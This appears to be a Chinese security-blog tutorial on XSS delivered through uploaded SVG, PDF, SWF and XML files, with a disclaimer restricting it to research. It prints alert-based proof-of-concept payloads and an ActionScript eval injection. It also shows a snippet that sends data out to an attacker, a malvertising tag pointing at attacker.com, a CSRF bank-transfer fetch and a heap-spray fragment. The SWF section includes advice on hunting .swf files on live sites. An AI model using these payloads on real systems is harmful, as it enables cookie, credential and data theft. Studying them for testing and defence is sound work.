免责声明
本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!
SVG型XSS
-
SVG(Scalable Vector Graphics,可缩放矢量图形)是一种基于XML的矢量图形格式,广泛用于网页设计和数据可视化。由于SVG文件支持内嵌JavaScript代码,因此如果处理不当,可能会引发XSS(跨站脚本)攻击
-
攻击原理:SVG文件可以通过 <script> 标签直接嵌入JavaScript代码。当浏览器加载SVG文件时,这些代码可能会被执行,从而导致XSS攻击(SVG(可缩放矢量图形)文件本质上是XML文档)
-
触发方式:
-
直接加载SVG文件:如果SVG文件被直接加载到浏览器中(例如通过 <img> 标签或直接在浏览器中打开SVG文件),嵌入的脚本可能会被执行
-
通过HTML标签加载:如果SVG文件被嵌入到HTML页面中(例如通过 <object> 或 <embed> 标签),嵌入的脚本也可能会被执行
-
利用场景:
-
用户头像上传:
-
允许上传SVG作为头像
-
当其他用户查看资料时执行恶意脚本
-
文件共享服务:
-
上传恶意SVG文件
-
当用户预览文件时触发攻击
-
图标/图标库:
-
注入恶意代码到SVG图标中
-
当网站使用该图标时触发攻击
-
CMS模板:
-
在SVG模板中注入恶意代码
-
影响所有使用该模板的页面
**************直接脚本注入**************
<svgxmlns="http://www.w3.org/2000/svg"version="1.1">
<circlecx="100"cy="50"r="40"stroke="black"stroke-width="2"fill="red"/>
<script>alert(1)</script>
</svg>
**************直接脚本注入**************
**************事件处理程序触发**************
<svgxmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)">
<rectwidth="100"height="100"fill="blue"/>
</svg>
**************外部资源引用**************
<svgxmlns="http://www.w3.org/2000/svg">
<image
href="non-existent-image.jpg"
onerror="alert('XSS via onerror!')"
width="100%"
height="100%"
/>
</svg>
**************外部资源引用**************
实操:
比如目标网站允许上传svg格式文件,之后制作一个xss.svg格式的文件
把xss.svg格式的文件上传到目标系统中,打开后弹窗
PDF型XSS
-
PDF型XSS是一种利用PDF文档内嵌JavaScript功能在受害者浏览器环境中执行恶意脚本的攻击
-
触发场景:
-
直接渲染漏洞:浏览器内置PDF解析器(如Chrome)未过滤脚本标签,导致嵌入的<script>被执行
-
外部资源引用:通过/EmbeddedFile引用外部恶意JS,或篡改PDF内嵌资源(如字体、图片)
-
表单与注释字段注入:PDF表单字段(如表单提交按钮)可绑定恶意JS事件
-
利用场景:
-
文件上传+在线预览场景(最常见):攻击者将恶意PDF上传至支持在线预览功能的网站(如论坛、文档共享平台、企业内网系统)→ 用户访问该PDF预览页 → 内嵌JS在浏览器PDF渲染环境中执行
-
技术依赖:
-
网站使用浏览器内置渲染器(如Chrome PDFium、PDF.js未禁用JS)
-
PDF包含app.alert()等Adobe JS API调用(例如通过PyPDF2注入output_pdf.add_js("app.alert('XSS');"))
-
风险后果:窃取当前域名Cookie、劫持会话、钓鱼跳转(如伪造登录页)
-
PDF嵌入网页攻击:恶意PDF通过<object>或<iframe>嵌入第三方网页(例如:<object data="malicious.pdf" type="application/pdf">)→ 用户访问该网页 → PDF内JS以宿主域名权限执行
-
技术依赖:
-
网站允许用户控制嵌入内容(如自定义页面模块)
-
未对PDF来源做同源策略隔离
-
风险后果:绕过CSP限制,直接操作宿主页面DOM(例如篡改页面内容、窃取表单数据)
-
钓鱼邮件+附件预览:攻击者发送含恶意PDF附件的钓鱼邮件 → 用户使用邮件客户端(如Outlook Web)或Web邮箱的“附件预览”功能打开PDF → JS自动执行
-
技术依赖:
-
邮件系统启用PDF预览且使用易受攻击的渲染引擎(如旧版Adobe插件)
-
用户未下载至本地用独立阅读器打开
-
风险后果:窃取邮箱凭证、传播横向钓鱼、触发后续漏洞利用链(如结合RCE漏洞)
-
云存储/网盘服务漏洞:用户将恶意PDF上传至云盘(如Google Drive、企业私有云)→ 使用服务的“在线预览”功能 → JS在云服务域名下执行
-
技术依赖:
-
云服务未清洗PDF中的JS动作(如未移除/OpenAction、/AA字典)
-
预览服务使用浏览器内核渲染
-
风险后果:以云服务用户身份发起API请求(如读取私有文件列表)、窃取OAuth令牌
-
结合CSRF的复合攻击:恶意PDF中嵌入JS发起跨域请求(如fetch('https://bank.com/transfer?to=attacker&amount=10000')) → 用户预览PDF时自动触发转账操作
-
技术依赖:
-
目标接口未校验CSRF Token
-
用户会话处于登录状态
-
风险后果:模拟用户执行敏感操作(转账、改密、添加管理员),造成业务逻辑型漏洞
实操:
这里使用的是迅捷PDF编辑器试用版
1、创建PDF,加入动作JS
存在限制:
-
PDF工具直接打开:可能不会执行Javascript代码(部分PDF工具可能会执行Javascript代码,如Adobe Acrobat软件就会执行Javascript代码)
-
浏览器直接打开:会执行Javascript代码
2、通过文件上传获取直链(就是把文件上传到目标服务器)
3、直链地址访问后被触发
SWF型XSS
-
SWF型XSS(Flash XSS)是一种利用Adobe Flash文件(.swf)实现跨站脚本攻击的安全漏洞,攻击者通过注入恶意脚本操控浏览器行为
-
常见的可触发xss的危险函数:
-
高风险函数(直接执行JS):
-
ExternalInterface.call():
-
功能:ActionScript与JavaScript通信的核心接口,用于调用网页中的JS函数
-
危险性:若第一个参数(JS函数名)或参数值未过滤,攻击者可注入任意JS代码(如ExternalInterface.call("eval", "alert(document.cookie)"))
-
getURL():
-
功能:跳转至指定URL或执行JS伪协议(如javascript:)
-
危险性:直接执行javascript:协议内容(如getURL("javascript:alert(document.domain)")),绕过同源策略
-
navigateToURL():
-
功能:通过URLRequest对象实现页面跳转或JS执行
-
危险性:类似getURL,但支持更复杂的请求。若未校验URL协议,可执行恶意JS
-
中风险函数(间接触发XSS):
-
loadVariables():
-
功能:从外部源(如URL参数、flashvars)加载数据并解析为ActionScript变量
-
危险性:若输入未过滤,攻击者通过flashvars注入恶意字符串(如param=<img src=x onerror=alert(1)>),后续拼接至HTML或JS时触发XSS
-
htmlText(TextField属性):
-
功能:渲染HTML格式文本到Flash文本框
-
危险性:
若内容包含未编码的HTML标签或JS事件(如<a href="javascript:alert(1)">click</a>),解析时执行恶意脚本
-
ASfunction:伪协议:
-
功能:在Flash文本中触发ActionScript函数
-
危险性:结合htmlText可构造点击事件执行危险操作(如<a href="ASfunction:alert,1">XSS</a>)
-
底层函数(组合利用触发XSS):
-
Loader.load():
-
功能:动态加载子SWF模块
-
危险性:加载恶意子SWF绕过主文件安全校验,子模块调用ExternalInterface.call()触发XSS
-
URLLoader.load():
-
功能:加载外部数据(如XML、文本)
-
危险性:配合宽松crossdomain.xml(如<allow-access-from domain="*"/>),窃取跨域数据并通过ExternalInterface外传
-
SharedObject.getLocal():
-
功能:读写本地共享对象(LSO,类似Cookie)
-
危险性:存储污染数据(如恶意JS字符串),后续被读取并注入DOM触发XSS
-
loadMovie():
-
功能:在 ActionScript 中,loadMovie 函数用于加载一个外部 SWF 文件到当前 Flash 文件中
-
危险性:如果攻击者可以控制加载的 SWF 文件路径,他们可以上传或引用包含恶意代码的 SWF 文件,从而在目标页面中执行恶意脚本
-
利用场景:
-
用户上传+在线播放场景(最常见):
-
攻击路径:
-
论坛/博客平台允许用户上传SWF文件 → 攻击者上传含ExternalInterface.call("eval", "恶意JS")的SWF
-
其他用户访问该页面自动触发XSS
-
技术依赖:
// 恶意SWF代码片段
if (ExternalInterface.available) {
ExternalInterface.call("eval", "alert(document.cookie)");
}
-
钓鱼邮件附件攻击:
-
攻击路径:攻击者发送钓鱼邮件携带恶意SWF附件 → 用户使用邮件客户端预览功能打开 → 触发XSS
-
技术特点:
-
利用Outlook Web等客户端预览机制执行SWF内嵌脚本
-
结合社会工程(如伪装为“订单确认.swf”)
-
危害:窃取邮箱凭证、获取用户通讯录
-
恶意广告植入(Malvertising):
-
攻击路径:
-
攻击者购买广告位注入恶意SWF代码
<object data="//attacker.com/ads/banner.swf?param=javascript:alert(1)">
-
用户访问含该广告的页面 → SWF解析param参数触发XSS
-
技术依赖:广告平台未对SWF的flashvars参数做安全审核
-
结合CSRF的复合攻击:
-
攻击路径:
-
恶意SWF通过URLLoader读取宽松跨域策略的接口数据
-
使用ExternalInterface将窃取的数据外传
// 跨域窃取数据示例
var loader:URLLoader = new URLLoader();
loader.load(new URLRequest("https://bank.com/userinfo"));
loader.addEventListener(Event.COMPLETE, (e:Event) => {
var data:String = e.target.data;
ExternalInterface.call("postToAttacker", data); // 外传至攻击者服务器
});
-
依赖条件:目标站点存在错误crossdomain.xml配置
<cross-domain-policy>
<allow-access-fromdomain="*"/> <!-- 致命错误! -->
</cross-domain-policy>
-
企业内网渗透:
-
攻击路径:
-
攻击者构造SWF文件利用内网系统信任关系
-
通过SharedObject.getLocal()读取本地缓存敏感数据
-
注入恶意JS扫描内网资源
// 内网扫描示例
ExternalInterface.call(
"fetch('http://192.168.1.1/admin', {credentials: 'include'})"
.then(res => res.text())
.then(data => { /* 外传数据 */ })
);
-
典型目标:OA系统、旧版ERP等未更新Flash策略的内部应用
-
浏览器插件漏洞利用:
-
攻击路径:
-
利用Flash插件漏洞(如CVE-2015-5119)绕过沙箱
-
执行系统级恶意代码
// 经典漏洞利用链(Heap Spray)
var shellcode:ByteArray = new ByteArray();
shellcode.writeBytes(生成恶意字节码);
var exploit:Vector.<uint> = new Vector.<uint>(0x1000);
for (var i:int = 0; i < exploit.length; i++) {
exploit[i] = 0x0c0c0c0c; // 堆喷占位
}
-
影响范围:未更新补丁的Adobe Flash Player < 18.0.0.324
安装所需工具:
安装Adobe Flash Professional CS6:
Adobe Flash Professional CS6 下载:http://www.downza.cn/soft/27510.html
以管理员身份运行就可以正常打开了
制作swf-xss文件:
1、新建swf文件
2、F9进入代码区域
3、属性发布设置解析
//取m参数
var m=_root.m;
//调用html中Javascript中的m参数值
flash.external.ExternalInterface.call(m);
.swf运行需要安装flag中心工具:https://www.flash.cn/
触发:?m=alert(/xss/)
swf反编译工具:
JPEXS Free Flash Decompiler
下载地址:https://github.com/jindrapetrik/jpexs-decompiler
如何寻找.swf漏洞?(比如4399小游戏,肯定有.swf文件)
- 比如使用搜索引擎搜索phpwind(phpwind只是某一个模板,只要是存在.swf文件,都可以去尝试下载-->反编译-->分析代码-->利用)
- 之后尝试输入/images/uploader.swf
- /images/uploader.swf:爬虫、网站扫描、加载资源里面flash播放时自动抓取的
如何测试swf文件xss安全性:
- 反编译swf文件
- 查找触发危险函数
- 常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
- 找可控参数访问触发
- jsobject=alert(1)
总结:
- 上传swf文件可以做xss漏洞
- 找到目标上存在的swf进行反编译后找xss漏洞
HTML型XSS
-
HTML型XSS(跨站脚本攻击)是最常见且危险的Web安全漏洞之一,攻击者通过注入恶意脚本到HTML文档中,在用户浏览器执行这些脚本,从而窃取信息或执行未授权操作
简单的说:就是单纯在HTML代码中写XSS代码即可
其他:XML格式等
-
XML型XSS是一种特殊类型的跨站脚本攻击,利用XML文档解析特性执行恶意脚本。尽管不如HTML型XSS常见,但在API、Web服务和数据驱动应用中危害严重
**************利用XHTML命名空间**************
<xhtml:htmlxmlns:xhtml="http://www.w3.org/1999/xhtml">
<xhtml:script>
alert("xss");
</xhtml:script>
</xhtml:html>
**************利用XHTML命名空间**************
**************利用script标签的namespaceuri**************
<html>
<head></head>
<body>
<prefix:scriptxmlns:prefix="http://www.w3.org/1999/xhtml">
alert("xss");
</prefix:script>
</body>
</html>
**************利用script标签的namespaceuri**************
**************利用svg文件**************
<svgversion="1.1"baseprofile="full"xmlns="http://www.w3.org/2000/svg">
<polygonid="triangle"points="0,0 0,50 50,0"fill="#009900"stroke="#004400"/>
<scripttype="text/javascript">
alert("xss");
</script>
</svg>
**************利用svg文件**************
总结
-
文件上传类XSS挖掘:从安全文件上传到XSS的转换(红队玩法还可以配合钓鱼)
-
当支持HTML文件上传时,优先使用HTML型XSS,我们不能本末倒置,学习了高级技巧,却忘记了最基础的东西
-
利用文件上传获取文件访问地址,访问触发(浏览器格式解析问题会导致失效)
-
文件上传XSS的核心在于信任链的断裂。最有效的攻击往往发生在安全措施的"间隙"中:
-
当安全团队专注于阻止HTML上传时,利用SVG的"合法图片"身份突破
-
当防御者关注存储安全时,利用解析器特性触发漏洞
原文始发于微信公众号(一个努力的学渣):XSS之文件类型触发型XSS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论